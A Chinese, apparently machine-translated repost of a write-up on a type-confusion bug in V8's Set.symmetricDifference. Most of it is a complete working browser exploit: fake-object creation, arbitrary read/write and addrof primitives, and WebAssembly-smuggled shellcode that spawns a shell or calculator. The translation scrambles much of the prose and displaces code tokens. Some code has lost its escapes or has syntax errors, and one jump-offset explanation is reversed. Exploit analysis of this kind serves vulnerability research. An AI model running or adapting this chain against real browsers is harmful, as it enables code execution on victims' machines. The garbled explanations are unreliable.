Environment Setting
V8
-
V8 提交哈希:1976a3f375fb686a12d0577b0a01b164d8481414 -
GN 参数(用于调试):v8_no_inline=true v8_optimized_debug=false is_component_build=false
cd ~
git clone https://github.com/WebAssembly/wabt/
cd wabt
git submodule update --init
make
export PATH=$HOME/wabt/out/clang/Debug:$PATH
echo -e 'nexport PATH=$HOME/wabt/out/clang/Debug:$PATH' >> ~/.zshrc
预备知识
JavaScript ES6 Harmony
https://ecma-international.org/news/ecma-international-approves-major-revision-of-ecmascript/
ECMAScript 标准的最后一次重大修订是 1999 年发布的第三版。第三版完成后,人们做了大量工作来开发第四版。尽管第四版的开发尚未完成,但这项工作影响了 ECMAScript 第五版,并继续影响 ECMAScript 的持续开发。未来 ECMAScript 版本的开发工作将继续作为先前宣布的 ECMAScript Harmony 项目的一部分。
第 5 版发布后,未来 ES 版本的开发工作以 ECMAScript Harmony 项目的名义继续进行,因此第 6 版 ES2015 也被专门称为 ES6 Harmony。
Harmony 的功能尚未在 V8 中完全实现,因此它们不是默认功能,只有在激活相关标志时才能使用。
在 Chrome 中,chrome://flags
您可以通过访问 、将实验性 JavaScript 设置为已启用,然后重新启动 Chrome 来使用 Harmony 的功能。
JavaScript 设置
Set 是 JavaScript 中表示集合的类。
集合是不同对象的集合。因此,只有唯一的值才能进入Set。
有七种方法可以表达两个集合之间的关系。
-
[set-methods] 添加功能标志和联合方法(2023.05.30)
-
[set-methods] 添加交集设置方法(2023.06.14.)
-
[set-methods] 添加 set 方法差异(2023.06.22.)
-
[set-methods] 添加 symmetricDifference (2023.06.28.)
-
[set-methods] 添加 isSubsetOf 方法(2023.07.26.)
-
[set-methods] 添加 isSupersetOf 方法 (2023.07.28.)
-
[set-methods] 将 isDisjointFrom 添加到 set 方法(2023.08.01.)
这些方法不仅适用于集合,也适用于类似集合的对象。类集合对象是满足被视为集合的最低条件的对象,并且必须具有size
属性和has()
方法keys()
。
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set
全部设置方法要求这是一个实际的 Set 实例,但它们的参数只需类似集合即可。类似集合的对象是提供以下内容的对象:
A
size
包含数字的属性。A
has()
方法接受一个元素并返回一个布尔值。A
keys()
返回一个方法迭代器集合中的元素。
Set的内存结构
let s = new Set();
% DebugPrint(s);
SetOrderedHashSet
将元素存储在格式表中。
-
elements:当前存储的元素数量
-
已删除:已删除元素的数量
-
Bucket:存储元素的桶数(始终是2的幂)
-
容量:可以存储的最大元素数量(桶的两倍)
当需要清除集合或者由于元素超出容量而导致集合增长时,会分配一个新表。
/* src/objects/objects.cc */
void JSSet::Clear(Isolate* isolate, Handle<JSSet> set) {
Handle<OrderedHashSet> table(OrderedHashSet::cast(set->table()), isolate);
table = OrderedHashSet::Clear(isolate, table);
set->set_table(*table);
}
/* src/runtime/runtime-collections.cc */
RUNTIME_FUNCTION(Runtime_SetGrow) {
...
holder->set_table(*table);
return ReadOnlyRoots(isolate).undefined_value();
}
let s = new Set();
% DebugPrint(s);
s.add(0); // elements: 1, capacity: 4
s.add(1); // elements: 2, capacity: 4
s.add(2); // elements: 3, capacity: 4
s.add(3); // elements: 4, capacity: 4
s.add(4); // elements: 5, capacity: 8 (grow)
% DebugPrint(s);
s.clear(); // elements: 0, capacity: 4
% DebugPrint(s);
表元素是指原来存储的元素数量,当分配新表时,新表的地址存储在现有表的元素中。
/* src/objects/ordered-hash-table.cc */
template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Clear(
Isolate* isolate, Handle<Derived> table) {
...
if (table->NumberOfBuckets() > 0) {
// Don't try to modify the empty canonical table which lives in RO space.
table->SetNextTable(*new_table);
table->SetNumberOfDeletedElements(kClearedTableSentinel);
}
return new_table;
}
template <class Derived, int entrysize>
MaybeHandle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
Isolate* isolate, Handle<Derived> table, int new_capacity) {
...
if (table->NumberOfBuckets() > 0) {
// Don't try to modify the empty canonical table which lives in RO space.
table->SetNextTable(*new_table);
}
return new_table_candidate;
}
分析 - 代码流
Set方法symmetricDifference()
中出现错误。
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
const methodName: constexpr string = 'Set.prototype.symmetricDifference';
const fastIteratorResultMap = GetIteratorResultMap();
// 1. Let O be the this value.
// 2. Perform ? RequireInternalSlot(O, [[SetData]]).
const o = Cast<JSSet>(receiver) otherwise
ThrowTypeError(
MessageTemplate::kIncompatibleMethodReceiver, methodName, receiver);
// 3. Let otherRec be ? GetSetRecord(other).
let otherRec = GetSetRecord(other, methodName);
...
对于Seta
和,当调用时,is和is 。是一个对象,就像是一个类似 Set 的对象而不是 Set ,并且是b
a.symmetricDifference(b)
receiver
a
other
b
o
receiver
JSSet
otherRec
other
创下纪录没看到。
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
// 4. Let keysIter be ? GetKeysIterator(otherRec).
let keysIter =
GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));
...
table
是o
( receiver
) 的表,keysIter
是方法的other
返回值。keys()
/* src/builtins/collections.tq */
// https://tc39.es/proposal-set-methods/#sec-getkeysiterator
transitioning macro GetKeysIterator(
implicit context: Context)(set: JSReceiver,
keys: Callable): iterator::IteratorRecord {
// 1. Let keysIter be ? Call(setRec.[[Keys]], setRec.[[Set]]).
const keysIter = Call(context, keys, set);
...
GetKeysIterator()
内部调用other
的keys()
方法。
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
// 5. Let resultSetData be a copy of O.[[SetData]].
const resultSetData = Cast<OrderedHashSet>(CloneFixedArray(
table, ExtractFixedArrayFlag::kFixedArrays)) otherwise unreachable;
let resultAndNumberOfElements = OrderedHashSetAndNumberOfElements{
setData: resultSetData,
numberOfElements: UnsafeCast<Smi>(
resultSetData.objects[kOrderedHashSetNumberOfElementsIndex])
};
try {
typeswitch (other) {
case (otherSet: JSSetWithNoCustomIteration): {
CheckSetRecordHasJSSetMethods(otherRec) otherwise SlowPath;
const otherTable =
Cast<OrderedHashSet>(otherSet.table) otherwise unreachable;
let otherIterator =
collections::NewUnmodifiedOrderedHashSetIterator(otherTable);
while (true) {
const nextValue = otherIterator.Next() otherwise Done;
resultAndNumberOfElements = FastSymmetricDifference(
nextValue, table, resultAndNumberOfElements, methodName);
}
}
...
}
} label SlowPath {
...
} label Done {
const shrunk = ShrinkOrderedHashSetIfNeeded(
resultAndNumberOfElements.numberOfElements,
resultAndNumberOfElements.setData);
return new JSSet{
map: *NativeContextSlot(ContextSlot::JS_SET_MAP_INDEX),
properties_or_hash: kEmptyFixedArray,
elements: kEmptyFixedArray,
table: shrunk
};
}
unreachable;
}
resultSetData
是要返回的Set的表symmetricDifference()
。首先,receiver
克隆之前导入的表,然后调用keysIter
中的每个元素。FastSymmetricDifference()
/* src/builtins/set-symmetric-difference.tq */
macro FastSymmetricDifference(
implicit context: Context)(nextValue: JSAny, table: OrderedHashSet,
resultSetDataAndNumberOfElements: OrderedHashSetAndNumberOfElements,
methodName: constexpr string): OrderedHashSetAndNumberOfElements {
let key = nextValue;
let resultSetData = resultSetDataAndNumberOfElements.setData;
let numberOfElements = resultSetDataAndNumberOfElements.numberOfElements;
// ii. If nextValue is -0𝔽, set nextValue to +0𝔽.
key = collections::NormalizeNumberKey(key);
// iii. Let inResult be SetDataHas(resultSetData, nextValue).
const inResult = TableHasKey(resultSetData, key);
// iv. If SetDataHas(O.[[SetData]], nextValue) is true, then
dcheck(inResult == TableHasKey(table, key));
// 1. If inResult is true, remove nextValue from resultSetData.
if (inResult) {
numberOfElements = DeleteFromSetTable(resultSetData, key)
otherwise unreachable;
} else {
// v. Else,
// 1. If inResult is false, append nextValue to resultSetData.
resultSetData = AddToSetTable(resultSetData, key, methodName);
numberOfElements++;
}
return OrderedHashSetAndNumberOfElements{
setData: resultSetData,
numberOfElements: numberOfElements
};
}
symmetricDifference()
是从两个集合的并集中减去交集的运算。因此FastSymmetricDifference()
,如果 中存在other
的元素receiver
,则删除该元素,如果不存在,则添加该元素。
漏洞
/* src/builtins/set-symmetric-difference.tq */
// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifference
transitioning javascript builtin SetPrototypeSymmetricDifference(
js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
// 4. Let keysIter be ? GetKeysIterator(otherRec).
let keysIter =
GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));
...
receiver
导入of表后,通过重新定义of的方法,可以在内部重新分配ofother
表。然而,返回的 Set 中原样包含了变量中存储的现有表,导致类似于 UAF 的情况。keys()
other
keys()
receiver
symmetricDifference()
table
修补
SetPrototypeSymmetricDifference()
table
交换 get和fromkeysIter
的代码顺序。修补已进行。
概念验证
let receiver = new Set();
let other = new Set();
other.keys = () => {
receiver.clear(); // allocate new table
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result);
other.keys()
通过receiver.clear()
调用 ,receiver
中的表被新分配。返回值other[Symbol.iterator]()
与相同,旨在通过将other.values()
类型设置为 来避免 TypeError。Set Iterator
让我们在发布版本中进行调试。
result
中的表receiver.clear()
是之前被调用的表,但是由于一个bug,它没有被新分配的表替换,并且表的elements字段存储的是新分配的表的地址,而不是元素的数量。
如果在此状态下访问,result.size
则会读取表的 elements 字段的值。
/* src/builtins/builtins-collections-gen.cc */
TF_BUILTIN(SetPrototypeGetSize, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_SET_TYPE,
"get Set.prototype.size");
const TNode<OrderedHashSet> table =
LoadObjectField<OrderedHashSet>(CAST(receiver), JSSet::kTableOffset);
Return(LoadObjectField(table, OrderedHashSet::NumberOfElementsOffset()));
}
let receiver = new Set();
let other = new Set();
other.keys = () => {
receiver.clear(); // allocate new table
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result.size);
因为最后一位是1,所以是以对象格式导入的,而不是SMI,导致类型混乱。
开发助手
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
生成虚假物体
由于集合中的元素数量以 SMI 格式存储在表的 elements 字段中,因此当从集合中删除元素时,elements 字段的值会减少 2。因此,在前面的 PoC 中,result
如果 不是空 Set ,则可以result
通过删除 中的元素来result.size
调整导入对象的地址。换句话说,result
可以在低于表的任意地址处创建假对象。
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 16; i++) { receiver.add(i); } // elements: 16, capacity: 16
other.keys = () => {
receiver.add(16); // elements: 17, capacity: 32 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
% DebugPrint(result.size);
for (let i = 0; i < 8; i++) { result.delete(i); }
% DebugPrint(result.size);
任意地址读/写
如果您创建一个假数组结构并在该位置创建一个假对象,您可以通过在 elements 字段中的 V8 沙箱内放置一个随机地址来读取或写入该值。
创建 Fake Array 结构时,可以利用PACKED_DOUBLE_ELEMENTS
Map等默认值的地址在每次执行时不会改变的事实。FixedArray[0]
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
other.keys = () => {
fake_arr_struct = [1.1, 2.2];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
return fake_arr[0];
}
/* leak V8 base */
let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
获取对象地址
对象的地址在每次执行时可能会改变,但它们的范围是固定的。
fake_arr
通过在运行时插入一个标记并在内存中查找该标记,fake_arr
就可以获得 的地址。
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
return fake_arr[0];
}
// /* leak V8 base */
// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
// console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
let marker;
let leaked;
/* leak address of fake_arr */
marker = 0x4141414141414141n
fake_arr_struct[0] = itof(marker);
let fake_arr_addr = 0x4a000n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(fake_arr_addr));
if (leaked == marker) break;
fake_arr_addr += 4n;
}
fake_arr_addr += 8n;
console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));
0x40000
理论上,从 开始搜索可以保证100%的可靠性,但如果搜索过程重复太多次,就会发生垃圾回收,地址发生变化。根据我们的经验fake_arr
,该地址0x4a000
并没有转到下面,所以0x4a000
我们从 进行搜索,事实上,测试结果一次都没有失败。
fake_arr
如果在 后面分配一个对象数组,fake_arr
放入该对象数组中fake_arr
,则 的地址可以作为查找该对象数组地址的标记。通过在内存中查找地址,可以得到对象数组的地址fake_arr
,从 开始。fake_arr
let fake_arr_struct;
let obj_arr;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
obj_arr = [{}];
return other[Symbol.iterator](); // match return type (Set Iterator)
}
/* leak address of obj_arr[0] */
marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;
let obj_arr_addr = fake_arr_addr + 0x30n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
if (leaked == marker) break;
obj_arr_addr += 4n;
}
console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));
您可以通过将随机对象插入对象数组并读取存储在 中的值obj_arr[0]
来获取随机对象的地址。
/* get address of object */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}
let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));
使用 WebAssembly 执行 shellcode
当编译WebAssembly 的f64.const
指令时,常量将按原样插入到代码中。让我们跟随这个过程。
# read_wasm.py
with open('test.wasm', 'rb') as f:
wasmCode = f.read()
wasmCode_arr = []
for c in wasmCode:
wasmCode_arr.append(c)
print(wasmCode_arr)
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
main()
当你第一次调用时,它会执行惰性编译,然后获取跳转表的地址,r15
放入并跳转。如果你跟着一起走,
指令是从距离跳转表0x800
一定距离的位置开始保存的,可以看到输入的常量是直接插入到代码中的。main()
f64.const
如果你用它插入 shellcode 并用shellcode 的起始地址覆盖该字段,它将跳转到该位置wasmInstance
。jump_table_start
由于只能连续输入 8 个字节,因此jmp
可以通过使用指令链接多个 shellcode 来执行任意 shellcode。
需要注意的一件事是,如果多次输入同一个常数,
因为先前插入的常量是从内存中检索并重用的,所以它们不能用作 shellcode。因此,如果需要多次重复相同的 shellcode,则必须调整 NOP sled 的位置,使其成为不同的常量。
# shellcode_sh.py
from binascii import hexlify
from pwn import context, asm
context(arch='amd64')
jmp = b'xebx07' # jmp 0x7
shellcode = []
# rdi == "/bin/sh"
shellcode.append(asm(f'''
push {int(hexlify(b'/bin'[::-1]), 16)}
pop rax
'''))
shellcode.append(asm(f'''
push {int(hexlify(b'/sh'[::-1]), 16)}
pop rbx
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
add rax, rbx
push rax
'''))
shellcode.append(asm(f'''
mov rdi, rsp
'''))
# rax == 0x3b
shellcode.append(asm(f'''
xor rax, rax
mov al, 0x3b
'''))
# rsi == 0, rdx == 0
shellcode.append(asm(f'''
xor rsi, rsi
xor rdx, rdx
syscall
'''))
for i in range(len(shellcode)):
shellcode[i] = shellcode[i].ljust(6, b'x90') # NOP padding
if i != len(shellcode) - 1:
shellcode[i] += jmp
shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)
print(hex(shellcode[i]))
# shellcode_calc.py
from binascii import hexlify
from pwn import context, asm
context(arch='amd64')
jmp = b'xebx07' # jmp 0x7
shellcode = []
# rdi == "/usr/bin/xcalc", rsi == 0
shellcode.append(asm(f'''
xor rbx, rbx
xor rcx, rcx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'lc'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'/xca'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'/bin'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'/usr'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov rdi, rsp
xor rsi, rsi
'''))
# rbx == "DISPLAY=:0"
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b':0'[::-1]), 16)}
push rbx
'''))
shellcode.append(asm(f'''
mov ebx, {int(hexlify(b'LAY='[::-1]), 16)}
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
mov ecx, {int(hexlify(b'DISP'[::-1]), 16)}
'''))
shellcode.append(asm(f'''
add rbx, rcx
push rbx
'''))
shellcode.append(asm(f'''
mov rbx, rsp
'''))
# rdx == ["DISPLAY=:0", 0]
shellcode.append(asm(f'''
push 0
push rbx
mov rdx, rsp
'''))
shellcode.append(asm(f'''
xor rsi, rsi
xor rax, rax
'''))
shellcode.append(asm(f'''
mov al, 0x3b
syscall
'''))
for i in range(len(shellcode)):
shellcode[i] = shellcode[i].ljust(6, b'x90') # NOP padding
if i != len(shellcode) - 1:
shellcode[i] += jmp
shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)
print(hex(shellcode[i]))
红色和蓝色框是相同的常数。NOP
由于有两个,调整它们的位置以使它们都是不同的常数。
let shellcode = [
0x7ebc93148db3148n,
0x7eb900000636cbbn,
0x7eb909020e3c148n,
0x7eb906163782fb9n,
0x7eb909053cb0148n,
0x7eb906e69622fbbn,
0x7eb9020e3c14890n,
0x7eb907273752fb9n,
0x7eb9053cb014890n,
0x7ebf63148e78948n,
0x7eb530000303abbn,
0x7eb903d59414cbbn,
0x7eb20e3c1489090n,
0x7eb9050534944b9n,
0x7eb53cb01489090n,
0x7eb909090e38948n,
0x7ebe2894853006an,
0x7ebc03148f63148n,
0x9090050f3bb0n
]
for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));
let wasmCode = new Uint8Array[0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 7, 68, 144, 72, 1, 203, 83, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 187, 58, 48, 0, 0, 83, 235, 7, 68, 187, 76, 65, 89, 61, 144, 235, 7, 68, 144, 144, 72, 193, 227, 32, 235, 7, 68, 185, 68, 73, 83, 80, 144, 235, 7, 68, 144, 144, 72, 1, 203, 83, 235, 7, 68, 72, 137, 227, 144, 144, 144, 235, 7, 68, 106, 0, 83, 72, 137, 226, 235, 7, 68, 72, 49, 246, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
直到第 8 个常量都存储在寄存器中,但从第 9 个常量开始,添加了将寄存器值备份到堆栈的代码以重用寄存器,从而增加了 shellcode 之间的距离。如果你计算一下,你应该跳跃 12 个字节,而不是 7 个字节。因此,从第8个常量开始,高两个字节应该是 ,0x7eb
而不是。0xceb
let shellcode = [
0x7ebc93148db3148n,
0x7eb900000636cbbn,
0x7eb909020e3c148n,
0x7eb906163782fb9n,
0x7eb909053cb0148n,
0x7eb906e69622fbbn,
0x7eb9020e3c14890n,
0xceb907273752fb9n,
0xceb9053cb014890n,
0xcebf63148e78948n,
0xceb530000303abbn,
0xceb903d59414cbbn,
0xceb20e3c1489090n,
0xceb9050534944b9n,
0xceb53cb01489090n,
0xceb909090e38948n,
0xcebe2894853006an,
0xcebc03148f63148n,
0x9090050f3bb0n
]
for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));
# read_wasm.py
with open('ex.wasm', 'rb') as f:
wasmCode = f.read()
wasmCode_arr = []
for c in wasmCode:
wasmCode_arr.append(c)
print(wasmCode_arr)
充分利用
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
let receiver = new Set();
let other = new Set();
for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32
let fake_arr_struct;
let obj_arr;
other.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)
obj_arr = [{}];
return other[Symbol.iterator](); // match return type (Set Iterator)
}
let result = receiver.symmetricDifference(other);
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);
for (let i = 0; i < 0x10; i++) { result.delete(i); }
let fake_arr = result.size;
/* arbitrary address read */
function aar(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
return fake_arr[0];
}
// /* leak V8 base */
// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;
// console.log('[+] V8 base: ' + hex(v8base));
/* arbitrary address write */
function aaw(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[2] = itof(elements | length << 32n);
fake_arr[0] = itof(value);
}
let marker;
let leaked;
/* leak address of fake_arr */
marker = 0x4141414141414141n
fake_arr_struct[0] = itof(marker);
let fake_arr_addr = 0x4a000n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(fake_arr_addr));
if (leaked == marker) break;
fake_arr_addr += 4n;
}
fake_arr_addr += 8n;
// console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));
/* leak address of obj_arr[0] */
marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;
let obj_arr_addr = fake_arr_addr + 0x30n;
for (let i = 0; i < 0x1000; i++) {
leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
if (leaked == marker) break;
obj_arr_addr += 4n;
}
// console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));
/* get address of object */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}
/* execve("/usr/bin/xcalc", 0, ["DISPLAY=:0", 0]) */
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 12, 68, 144, 72, 1, 203, 83, 144, 235, 12, 68, 72, 137, 231, 72, 49, 246, 235, 12, 68, 187, 58, 48, 0, 0, 83, 235, 12, 68, 187, 76, 65, 89, 61, 144, 235, 12, 68, 144, 144, 72, 193, 227, 32, 235, 12, 68, 185, 68, 73, 83, 80, 144, 235, 12, 68, 144, 144, 72, 1, 203, 83, 235, 12, 68, 72, 137, 227, 144, 144, 144, 235, 12, 68, 106, 0, 83, 72, 137, 226, 235, 12, 68, 72, 49, 246, 72, 49, 192, 235, 12, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(aar(wasmInstance_addr + 0x47n));
aaw(wasmInstance_addr + 0x47n, jump_table_start + 0x81an); // overwrite instruction pointer
main(); // execute shellcode
Issue 1510709 (Type confusion in Harmony Set methods, leads to RCE)
https://h0meb0dy.me/entry/Issue-1510709-Type-confusion-in-Harmony-Set-methods-leads-to-RCE#Environment%20Setting-1
原文始发于微信公众号(Ots安全):Harmony Set 方法中的类型混淆,导致 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论